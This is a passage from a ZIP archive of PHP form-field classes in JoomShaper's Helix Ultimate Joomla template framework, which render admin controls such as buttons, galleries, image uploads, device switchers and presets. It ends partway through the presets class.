 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Language\Text;
use Joomla\CMS\Form\FormField;

/**
 * Form field for helixButton
 *
 * @since		1.0.0
 * @deprecated	3.0		Use the Same Class from the src/fields instead.
 */
class JFormFieldHelixbutton extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	1.0.0
	 */
	protected $type = 'Helixbutton';

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	1.0.0
	 */
	protected function getInput()
	{

		$url = !empty($this->element['url']) ? $this->element['url'] : '#';
		$class = !empty($this->element['class']) ? ' ' . $this->element['class'] : '';
		$text = !empty($this->element['text']) ? $this->element['text'] : 'Button';
		$target = !empty($this->element['target']) ? $this->element['target'] : '_self';

		return '<a id="' . $this->id . '" class="hu-btn' . str_replace('btn-', 'hu-btn-', $class) . '" href="' . $url . '" target="' . $target . '">' . Text::_($text) . '</a>';	
	}
}
PK!{�VW��*helixultimate/fields/helixexportimport.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Form\FormField;

/**
 * Form field for helix import
 *
 * @since		1.0.0
 * @deprecated	3.0		Use the Same Class from the src/fields instead.
 */
class JFormFieldHelixexportimport extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	1.0.0
	 */
	protected $type = 'Helixexportimport';

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	1.0.0
	 */
	protected function getInput()
	{
		$input = Factory::getApplication()->input;
		$template_id = $input->get('id', 0, 'INT');

		$export_url = 'index.php?option=com_ajax&helix=ultimate&task=export&id=' . $template_id;

		$output  = '<a class="hu-btn hu-btn-primary" id="btn-hu-export-settings" rel="noopener noreferrer" target="_blank" href="' . $export_url . '">' . Text::_("HELIX_ULTIMATE_SETTINGS_EXPORT") . '</a>';
		$output .= '<textarea id="input-hu-settings" rows="5"></textarea>';
		$output .= '<a id="btn-hu-import-settings" class="hu-btn hu-btn-primary" rel="noopener noreferrer" data-template_id="' . $template_id . '" target="_blank" href="#">' . Text::_("HELIX_ULTIMATE_SETTINGS_IMPORT") . '</a>';

		return $output;
	}
}
PK!SIy���'helixultimate/fields/helixpositions.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Form\FormField;
use Joomla\CMS\HTML\HTMLHelper;
use HelixUltimate\Framework\Platform\Helper;


/**
 * Form field for Helix positions
 *
 * @since 		1.0.0
 * @deprecated	3.0		Use the Same Class from the src/fields instead.
 */
class JFormFieldHelixpositions extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	1.0.0
	 */
	protected $type = 'Helixpositions';

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	1.0.0
	 */
	protected function getInput()
	{
		$html = array();
		$attr = '';
		$input  = Factory::getApplication()->input;
		$style_id = $input->get('id', 0, 'INT');
		$style = Helper::getTemplateStyle($style_id);

		$db = Factory::getDbo();
		$query = $db->getQuery(true);
		$query->select($db->quoteName('position'));
		$query->from($db->quoteName('#__modules'));
		$query->where($db->quoteName('client_id') . ' = 0');
		$query->where($db->quoteName('published') . ' = 1');
		$query->group('position');
		$query->order('position ASC');
		$db->setQuery($query);
		$dbpositions = $db->loadObjectList();

		$templateXML = JPATH_SITE . '/templates/' . $style->template . '/templateDetails.xml';
		$template = simplexml_load_file($templateXML);
		$options = array();

		foreach ($dbpositions as $positions)
		{
			$options[] = $positions->position;
		}

		foreach ($template->positions[0] as $position)
		{
			$options[] = (string) $position;
		}

		ksort($options);

		$opts = array_unique($options);

		$options = array();

		foreach ($opts as $opt)
		{
			$options[$opt] = $opt;
		}

		$html[] = HTMLHelper::_('select.genericlist', $options, $this->name, trim($attr), 'value', 'text', $this->value, $this->id);

		return implode($html);
	}
}
PK!��U##%helixultimate/fields/helixgallery.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

use Joomla\CMS\Factory;
use Joomla\CMS\Filesystem\File;
use Joomla\CMS\Form\FormField;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;

defined('_JEXEC') or die();

/**
 * Form field for Helix gallery.
 *
 * @since		1.0.0
 * @deprecated	3.0		Use the Same Class from the src/fields instead.
 */
class JFormFieldHelixgallery extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	1.0.0
	 */
	protected $type = 'Helixgallery';

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	1.0.0
	 */
	protected function getInput()
	{
		$doc = Factory::getDocument();

		HTMLHelper::_('jquery.framework');
		$helix_plg_url = Uri::root(true) . '/plugins/system/helixultimate';
		$doc->addScript($helix_plg_url . '/assets/js/admin/jquery-ui.min.js');

		$plg_path = Uri::root(true) . '/plugins/system/helixultimate';

		$values = json_decode($this->value);

		if (!empty($values))
		{
			$images = $this->element['name'] . '_images';
			$values = $values->$images;
		}
		else
		{
			$values = array();
		}

		$output  = '<div class="hu-gallery-field">';
		$output .= '<ul class="hu-gallery-items clearfix">';

		if (is_array($values) && !empty($values))
		{
			foreach ($values as $key => $value)
			{
				$data_src = $value;

				$src = Uri::root(true) . '/' . $value;

				$basename = basename($src);

				$thumbnail = JPATH_ROOT . '/' . dirname($value) . '/' . File::stripExt($basename) . '_thumbnail.' . File::getExt($basename);
				$small_size = JPATH_ROOT . '/' . dirname($value) . '/' . File::stripExt($basename) . '_small.' . File::getExt($basename);

				if (file_exists($thumbnail))
				{
					$src = Uri::root(true) . '/' . dirname($value) . '/' . File::stripExt($basename) . '_thumbnail.' . File::getExt($basename);
				}
				elseif (file_exists($small_size))
				{
					$src = Uri::root(true) . '/' . dirname($value) . '/' . File::stripExt($basename) . '_small.' . File::getExt($basename);
				}

				$output .= '<li class="hu-gallery-item" data-src="' . $data_src . '"><a href="#" class="btn btn-mini btn-danger btn-hu-remove-gallery-image"><span class="fas fa-times" aria-hidden="true"></span></a><img src="' . $src . '" alt=""></li>';
			}
		}

		$output .= '</ul>';

		$output .= '<input type="file" id="hu-gallery-item-upload" accept="image/*" multiple="multiple" style="display:none;">';
		$output .= '<a class="btn btn-default btn-secondary btn-hu-gallery-item-upload" href="#"><i class="fas fa-plus" aria-hidden="true"></i> ' . Text::_('HELIX_ULTIMATE_UPLOAD_IMAGES') . '</a>';

		$output .= '<input type="hidden" name="' . $this->name . '" data-name="' . $this->element['name'] . '_images" id="' . $this->id . '" value="' . htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8')
				. '"  class="form-field-hu-gallery">';
		$output .= '</div>';

		return $output;
	}
}
PK!�T�՛�%helixultimate/fields/helixdevices.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Form\FormField;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;

/**
 * Form field for helixButton
 *
 * @since		2.0.0
 * @deprecated	3.0		Use the Same Class from the src/fields instead.
 */
class JFormFieldHelixDevices extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	2.0.0
	 */
	protected $type = 'HelixDevices';

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	2.0.0
	 */
	protected function getInput()
	{
		$default 	= isset($this->element['default']) ? $this->element['default'] : 'lg';
		$value 		= empty($this->value) ? $default : $this->value;

		$output = '<div class="helix-field">';
		$output .= '	<div class="helix-devices">';
		$output .= '		<button class="device-btn ' . ($value === 'xs' ? 'active' : '') . '" data-device="xs" title="Mobile">';
		$output .= '			<svg width="14" height="14" viewBox="0 0 11 19" fill="none" xmlns="http://www.w3.org/2000/svg">';
		$output .= '				<path d="M6.58001 15.2C6.58001 15.54 6.32001 15.8 5.98001 15.8H4.43999C4.09999 15.8 3.83999 15.54 3.83999 15.2C3.83999 14.86 4.09999 14.6 4.43999 14.6H5.98001C6.30001 14.6 6.58001 14.86 6.58001 15.2ZM10.4 16.88C10.4 17.72 9.72001 18.4 8.88001 18.4H1.52C0.679995 18.4 0 17.72 0 16.88V1.52002C0 0.68002 0.679995 0 1.52 0H8.88001C9.72001 0 10.4 0.68002 10.4 1.52002V16.88ZM1.6 1.6V12.2H8.8V1.6H1.6ZM8.8 16.8V13.4H1.6V16.8H8.8Z" fill="#999"/>';
		$output .= '			</svg>';
		$output .= '		</button>';
		$output .= '		<button class="device-btn ' . ($value === 'sm' ? 'active' : '') . '" data-device="sm" title="Tablet">';
		$output .= '			<svg width="14" height="14" viewBox="0 0 16 19" fill="none" xmlns="http://www.w3.org/2000/svg">';
		$output .= '				<path d="M9.31998 15.4C9.31998 15.74 9.05998 16 8.71998 16H7.67999C7.33999 16 7.07999 15.74 7.07999 15.4C7.07999 15.06 7.33999 14.8 7.67999 14.8H8.71998C9.05998 14.8 9.31998 15.06 9.31998 15.4ZM15.6 16.88C15.6 17.72 14.92 18.4 14.08 18.4H2.31998C1.47998 18.4 0.799988 17.72 0.799988 16.88V1.52002C0.799988 0.68002 1.47998 0 2.31998 0H14.08C14.92 0 15.6 0.68002 15.6 1.52002V16.88ZM2.39999 1.6V12.6H14V1.6H2.39999ZM14 16.8V13.8H2.39999V16.8H14Z" fill="#999"/>';
		$output .= '			</svg>';
		$output .= '		</button>';
		$output .= '		<button class="device-btn ' . ($value === 'md' ? 'active' : '') . '" data-device="md" title="Desktop">';
		$output .= '			<svg width="14" height="14" viewBox="0 0 22 19" fill="none" xmlns="http://www.w3.org/2000/svg">';
		$output .= '				<path d="M19.477 0.200012H1.7539C0.784671 0.200012 6.10352e-05 0.98465 6.10352e-05 1.95388V12.1769C6.10352e-05 13.1461 0.784671 14.0462 1.7539 14.0462H7.61545V14.9923L5.8616 16.4C5.5616 16.6538 5.42314 17.1385 5.53852 17.5077C5.67698 17.8769 6.02315 18.2 6.41546 18.2H14.7231C15.1155 18.2 15.4847 17.8769 15.6231 17.5077C15.7616 17.1385 15.6462 16.6769 15.3462 16.4231L13.6154 14.9923V14.0462H19.477C20.4462 14.0462 21.2308 13.1461 21.2308 12.1769V1.95388C21.2308 0.98465 20.4462 0.200012 19.477 0.200012ZM12.277 16.0769L12.8308 16.5846H8.30775L8.90775 16.0538C9.09236 15.8923 9.23083 15.6154 9.23083 15.3615V14.0231H12.0001V15.3615C12.0001 15.6154 12.0924 15.9154 12.277 16.0769ZM19.3847 12.2H1.84621V2.04617H19.3847V12.2Z" fill="#999"/>';
		$output .= '			</svg>';
		$output .= '		</button>';
		$output .= '	</div>';

		$output .= '<input type="hidden" data-type="hu-devices" name="' . $this->name . '" id="' . $this->id . '" value="' . $value . '" />';

		// End of helix field div.
		$output .= '</div>';

		return $output;
	}

	/**
	 * Override the getLabel function.
	 *
	 * @return	boolean
	 * @since	2.0.0
	 */
	protected function getLabel()
	{
		return false;
	}
}
PK!J6kl�	�	#helixultimate/fields/heliximage.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Form\FormField;
use Joomla\CMS\Filesystem\File;
use Joomla\CMS\HTML\HTMLHelper;


/**
 * Form field for Helix image.
 *
 * @since 		1.0.0
 * @deprecated	3.0		Use the Same Class from the src/fields instead.
 */
class JFormFieldHeliximage extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	1.0.0
	 */
	protected $type = 'Heliximage';

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	1.0.0
	 */
	protected function getInput()
	{
		$doc = Factory::getDocument();

		HTMLHelper::_('jquery.framework');

		$plg_path = Uri::root(true) . '/plugins/system/helixultimate';

		$class = ' hu-image-field-empty';

		if ($this->value)
		{
			$class = ' hu-image-field-has-image';
		}

		$output  = '<div class="hu-image-field' . $class . ' clearfix">';
		$output .= '<div class="hu-image-upload-wrapper">';

		if ($this->value)
		{
			$data_src = $this->value;
			$src = Uri::root(true) . '/' . $data_src;

			$basename = basename($data_src);
			$thumbnail = JPATH_ROOT . '/' . dirname($data_src) . '/' . File::stripExt($basename) . '_thumbnail.' . File::getExt($basename);

			if (file_exists($thumbnail))
			{
				$src = Uri::root(true) . '/' . dirname($data_src) . '/' . File::stripExt($basename) . '_thumbnail.' . File::getExt($basename);
			}

			$output .= '<img src="' . $src . '" data-src="' . $data_src . '" alt="">';
		}

		$output .= '</div>';

		$output .= '<input type="file" class="hu-image-upload" accept="image/*" style="display:none;">';
		$output .= '<a class="btn btn-primary btn-hu-image-upload" href="#"><i class="fas fa-plus" aria-hidden="true"></i> ' . Text::_('HELIX_ULTIMATE_UPLOAD_IMAGE') . '</a>';
		$output .= '<a class="btn btn-danger btn-hu-image-remove" href="#"><i class="fas fa-minus-circle" aria-hidden="true"></i> ' . Text::_('HELIX_ULTIMATE_REMOVE_IMAGE') . '</a>';

		$output .= '<input type="hidden" name="' . $this->name . '" id="' . $this->id . '" value="' . htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8')
				. '"  class="form-field-hu-image">';
		$output .= '</div>';

		return $output;
	}
}
PK!a�a���)helixultimate/fields/helixmenubuilder.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use HelixUltimate\Framework\Platform\Builders\MenuBuilder;
use HelixUltimate\Framework\Platform\Helper;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\FormField;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;


/**
 * Form field for Helix mega menu
 *
 * @since		2.0.0
 * @deprecated	3.0		Use the Same Class from the src/fields instead.
 */
class JFormFieldHelixMenuBuilder extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	2.0.0
	 */
	protected $type = "HelixMenuBuilder";

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	2.0.0
	 */
	public function getInput()
	{
		$data = Helper::loadTemplateData();
		$params = $data->params;

		if (empty($this->value))
		{
			$this->value = new \stdClass;
			$value = json_encode($this->value);
		}
		else
		{
			if (!\is_string($this->value))
			{
				$value = json_encode($this->value);
			}
			else
			{
				$value = $this->value;
			}
		}

		$html = [];
		$html[] = '<div id="hu-menu-builder">';
		$html[] = '<div id="hu-menu-builder-container"></div>';
		$html[] = '<button class="hu-btn hu-btn-primary hu-add-menu-item">Add New Item</button>';
		$html[] = '</div>';

		return implode("\n", $html);
	
	}


}
PK!X���#helixultimate/fields/helixmedia.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Uri\Uri;
use Joomla\CMS\Form\FormField;


/**
 * Form field for Helix media
 *
 * @since	 	1.0.0
 * @deprecated	3.0		Use the Same Class from the src/fields instead.
 */
class JFormFieldHelixmedia extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	1.0.0
	 */
	protected $type = 'Helixmedia';

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	1.0.0
	 */
	public function getInput()
	{
		$output = '<div class="hu-image-holder">';

		if (!empty($this->value))
		{
			$output .= '<img src="' . Uri::root() . $this->value . '" alt="">';
		}

		$output .= '</div>';

		$output .= '<input type="hidden" name="' . $this->name . '" id="' . $this->id . '" value="' . $this->value . '">';
		$output .= '<a href="#" class="hu-media-picker hu-btn hu-btn-primary hu-mr-2" data-id="' . $this->id . '"><span class="fas fa-image" aria-hidden="true"></span> Select</a>';
		$output .= '<a href="#" class="hu-media-clear hu-btn hu-btn-secondary' . (empty($this->value) ? ' hide' : '') . '"><span class="fas fa-times" aria-hidden="true"></span> Clear</a>';

		return $output;
	}
}

PK!��%S��'helixultimate/fields/helixdimension.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

use Joomla\CMS\Form\FormField;
use Joomla\CMS\HTML\HTMLHelper;

defined('_JEXEC') or die();

/**
 * Form field for Helix dimension.
 *
 * @since		2.0.0
 * @deprecated	3.0		Use the Same Class from the src/fields instead.
 */
class JFormFieldHelixdimension extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	2.0.0
	 */
	protected $type = 'Helixdimension';

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	2.0.0
	 */
	public function getInput()
	{
		$unit = $this->getAttribute('unit', 'px');
		list($width, $height) = explode('x', strtolower($this->value));

		// Output
		$output = '';

		$output .= '<div class="row">';

		$output .= '<div class="col-6">';
		$output .= '<div class="hu-d-flex hu-align-items-center">';
		$output .= '<span class="hu-mr-1">W</span>';
		$output .= '<div class="hu-input-group">';
		$output .= '<input type="text" class="hu-field-dimension-width form-control" value="' . $width . '" /><span class="hu-input-group-text">' . $unit . '</span>';
		$output .= '</div>';
		$output .= '</div>';
		$output .= '</div>';

		$output .= '<div class="col-6">';
		$output .= '<div class="hu-d-flex hu-align-items-center">';
		$output .= '<span class="hu-mr-1">H</span>';
		$output .= '<div class="hu-input-group">';
		$output .= '<input type="text" class="hu-field-dimension-height form-control" value="' . $height . '" /><span class="hu-input-group-text">' . $unit . '</span>';
		$output .= '</div>';
		$output .= '</div>';
		$output .= '</div>';

		$output .= '</div>';

		$output .= '<input type="hidden" name="' . $this->name . '" id="' . $this->id . '" class="hu-field-dimension-input ' . $this->class . '" value="' . $this->value . '" />';

		return $output;

	}
}
PK!��c�
�
&helixultimate/fields/helixswitcher.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use HelixUltimate\Framework\Platform\Helper;
use HelixUltimate\Framework\Platform\Settings;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\FormField;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\Filesystem\File;


/**
 * Form field for helix presets.
 *
 * @since		1.0.0
 * @deprecated	3.0		Use the Same Class from the src/fields instead.
 */
class JFormFieldHelixSwitcher extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	1.0.0
	 */
	protected $type = 'HelixSwitcher';

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	1.0.0
	 */
	protected function getInput()
	{
		$rule = (string) $this->element['textrule'];
		$rule = !empty($rule) ? $rule : 'text';

		$default = (string) $this->element['default'];

		$switcherStyle = (string) $this->element['switcherStyle'];
		$switcherStyle = !empty($switcherStyle) ? $switcherStyle : 'tab';

		$fixedWidth = (string) $this->element['fixedwidth'];
		$fixedWidth = !empty($fixedWidth) && ($fixedWidth === 'true' || $fixedWidth === 'on');

		$alignment = (string) $this->element['alignment'];
		$alignment = !empty($alignment) ? 'hu-align-' . $alignment : '';

		$switcherClasses = 'hu-switcher-style-' . $switcherStyle;

		if ($fixedWidth)
		{
			$switcherClasses .= ' hu-fixed-width';
		}

		if ($alignment)
		{
			$switcherClasses .= ' ' . $alignment;
		}

		$children = $this->element->children();
		$options = null;

		if (!empty($children))
		{
			$options = $children->option;
		}

		$value = empty($this->value) ? $default : $this->value;

		$html = [];
		$html[] = '<div class="hu-switcher ' . $switcherClasses . '">';
		$html[] = '<div class="hu-action-group">';

		if (!empty($options))
		{
			foreach ($options as $option)
			{
				$html[] = '<span class="hu-switcher-action ' .
					($value === (string) $option['value'] ? 'active' : '') .
					$option->class .
					'" data-value="' . ((string) $option['value']) . '" hu-switcher-action role="button">';

				$html[] = '<span class="hu-switcher-action-content">';

				if (isset($option['icon']) && !empty($option['icon']))
				{
					$html[] = '<span class="hu-switcher-icon"><span class="' . (string) $option['icon'] . '"></span></span>';
				}
				elseif (isset($option['svg']) && !empty($option['svg']))
				{
					$svg_path = JPATH_PLUGINS . '/system/helixultimate/assets/images/icons/' . (string) $option['svg'] . '.svg';
					// $svg = File::exists($svg_path) ? File::read($svg_path) : (string) $option['svg'];
					$svg = File::exists($svg_path) ? file_get_contents($svg_path) : (string) $option['svg'];
					$html[] = '<span class="hu-switcher-svg">' . $svg . '</span>';
				}
				elseif (isset($option['image']) && !empty($option['image']))
				{
					$html[] = '<span class="hu-switcher-img"><img src="' . (string) $option['image'] . '"  /></span>';
				}

				$html[] = '</span>';

				$html[] = '<span class="hu-switcher-label">' . Text::_((string) $option) . '</span>';

				$html[] = '</span>';
			}
		}

		$html[] = '</div>';
		$html[] = '<input type="hidden" name="' . $this->name . '" id="' . $this->id . '" value="' . $value . '" />';
		$html[] = '</div>';

		return implode("\n", $html);
	}
}
PK!��D���%helixultimate/fields/helixdetails.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\Router\Route;
use Joomla\CMS\Form\FormField;
use Joomla\CMS\HTML\HTMLHelper;

/**
 * Form field for helix details.
 *
 * @since   	1.0.0
 * @deprecated	3.0		Use the Same Class from the src/fields instead.
 */
class JFormFieldHelixdetails extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	1.0.0
	 */
	protected $type = 'Helixdetails';

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	1.0.0
	 */
	protected function getInput()
	{
		HTMLHelper::_('jquery.framework');
		$doc = Factory::getDocument();

		$plg_path = Uri::root(true) . '/plugins/system/helixultimate';
		$doc->addScript($plg_path . '/assets/js/admin/details.js');
		$doc->addStyleSheet($plg_path . '/assets/css/admin/details.css');

		$app = Factory::getApplication();
		$id  = $app->input->get('id', 0, 'INT');

		$url = Route::_('index.php?option=com_ajax&helix=ultimate&id=' . $id);
		$html = '<a href="' . $url . '" class="hu-options"><i class="icon-options"></i> Template Options</a>';

		return $html;
	}

	/**
	 * Override the getLabel method from FormField class.
	 *
	 * @return 	boolean
	 * @since	1.0.0
	 */
	public function getLabel()
	{
		return false;
	}
}
PK!I2�

%helixultimate/fields/helixheaders.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

use Joomla\CMS\Factory;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\Form\FormField;
use Joomla\CMS\Filesystem\Folder;

defined('_JEXEC') or die();

/**
 * Form field for Helix headers.
 *
 * @since		1.0.0
 * @deprecated	3.0		Use the Same Class from the src/fields instead.
 */
class JFormFieldHelixheaders extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	1.0.0
	 */
	protected $type = 'Helixheaders';

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	1.0.0
	 */
	protected function getInput()
	{
		$input  = Factory::getApplication()->input;
		$id = $input->get('id', 0, 'INT');
		$template = $this->getTemplateName($id);

		$headers_src = JPATH_ROOT . '/templates/' . $template . '/headers';
		$thumb_url = Uri::root() . 'templates/' . $template . '/headers';

		$html = '';

		if (Folder::exists($headers_src))
		{
			$headers = Folder::folders($headers_src);

			if (!empty($headers))
			{
				$html = '<div class="hu-predefined-headers">';
				$html .= '<ul class="hu-header-list clearfix" data-name="' . $this->name . '">';

				foreach ($headers as $header)
				{
					$html .= '<li class="hu-header-item' . (($this->value === $header) ? ' active' : '') . '" data-style="' . $header . '">';

					if (file_exists($headers_src . '/' . $header . '/thumb.svg'))
					{
						$html .= '<span><img src="' . $thumb_url . '/' . $header . '/thumb.svg" alt="' . $header . '"</span>';
					}
					else
					{
						$html .= '<span><img src="' . $thumb_url . '/' . $header . '/thumb.jpg" alt="' . $header . '"</span>';
					}

					$html .= '</li>';
				}

				$html .= '<input type="hidden" name="' . $this->name . '" value=\'' . $this->value . '\' id="' . $this->id . '">';
				$html .= '</div>';
			}
		}

		return $html;
	}

	/**
	 * Get template name.
	 *
	 * @param	integer		$id		The template ID.
	 *
	 * @return	object
	 * @since	1.0.0
	 */
	private function getTemplateName($id = 0)
	{
		$db = Factory::getDbo();
		$query = $db->getQuery(true);

		$query->select('*');
		$query->from($db->quoteName('#__template_styles'));
		$query->where($db->quoteName('client_id') . ' = 0');
		$query->where($db->quoteName('id') . ' = ' . (int) $id);

		$db->setQuery($query);
		$result = $db->loadObject();

		if (!empty($result))
		{
			return $result->template;
		}

		return;
	}
}
PK!�	���%helixultimate/fields/helixpresets.phpnu&1i�<?php
/**
 * @package Helix_Ultimate_Framework
 * @author JoomShaper <support@joomshaper.com>
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

defined('_JEXEC') or die();

use Joomla\CMS\Factory;
use Joomla\CMS\Form\FormField;
use Joomla\CMS\HTML\HTMLHelper;
use HelixUltimate\Framework\Platform\Settings;
use HelixUltimate\Framework\Platform\Helper;


/**
 * Form field for helix presets.
 *
 * @since		1.0.0
 * @deprecated	3.0		Use the Same Class from the src/fields instead.
 */
class JFormFieldHelixpresets extends FormField
{
	/**
	 * Field type
	 *
	 * @var		string	$type
	 * @since	1.0.0
	 */
	protected $type = 'Helixpresets';

	/**
	 * Preset field.
	 *
	 * @var		string	Preset field.
	 * @since	1.0.0
	 */
	protected $presetfiled = '';

	/**
	 * Preset List.
	 *
	 * @var		string	Preset list.
	 * @since	1.0.0
	 */
	protected $presetList = '';

	/**
	 * Override getInput function form FormField
	 *
	 * @return	string	Field HTML string
	 * @since	1.0.0
	 */
	protected function getInput()
	{
		$children = $this->element->children();
		$defaults = array();

		foreach ($children as $child)
		{
			$defaults[(string) $child['name']] = $this->getDefaultDataFromXML($child);
		}

		$html = '<div class="hu-presets clearfix">';

		$templateData = Helper::loadTemplateData();

		if (empty($templateData))
		{
			throw new \Exception(sprintf('Something went wrong! Template data not found.'));
		}

		$params = $templateData->params;
		$presetsData = $params->get('presets-data', null);

		if (!empty($presetsData))
		{
			list ($data, $htmlString) = $this->generateFieldFromParamsData($presetsData, $this->value);
		}
		else
		{
			list ($data, $htmlString) = $this->generateFieldFromXmlData($children, $this->value);
		}

		$data = json_encode($data);

		$html .= $htmlString;
		$html .= '<input id="default-values" type="hidden" class="default-values" value=\'' . json_encode($defaults) . '\' />';
		$html .= '<input id="presets-data" type="hidden" name="presets-data" class="hu-presets-data" value=\'' . $data . '\' />';
		$html .= '<input id="' . $this->id . '" type="hidden" name="' . $this->name . '" class="hu-input-preset" value=\'' . $this->value . '\' />';
		$html .= '</div>';
		

		return $html;
	}

	private function getDefaultDataFromXML($presets)
	{
		$data = array();

		foreach ($presets->children() as $preset)
		{
			$data[(string) $preset['name']] = (string) $preset['value'];
		}

		$data['preset'] = (string) $presets['name'];

		return $data;
	}

	/**
	 * Make setting panel or modal from saved
	 * data into database
	 *
	 * @param	string	$json	Preset json string.
	 * @param	object	$value	Field value
	 *
	 * @return	array
	 * @since	2.0.0
	 */
	private function generateFieldFromParamsData($json, $value)
	{
		$data = array();
		$html = '';

		if (\is_string($json) && strlen($json) > 0)
		{
			$json = json_decode($json);
		}

		$preset = json_decode($value);

		foreach ($json as $name => $child)
		{
			$class = '';

			if (isset($preset->preset) && $preset->preset === $name)
			{
				$class = ' active';
			}

			$html_data_attr = 'data-preset="' . $name . '"';

			$presetData = array(
				'name' => $name,
				'data' => array()
			);

			foreach ($child->data as $prop => $val)
			{
				if ($prop !== 'preset')
				{
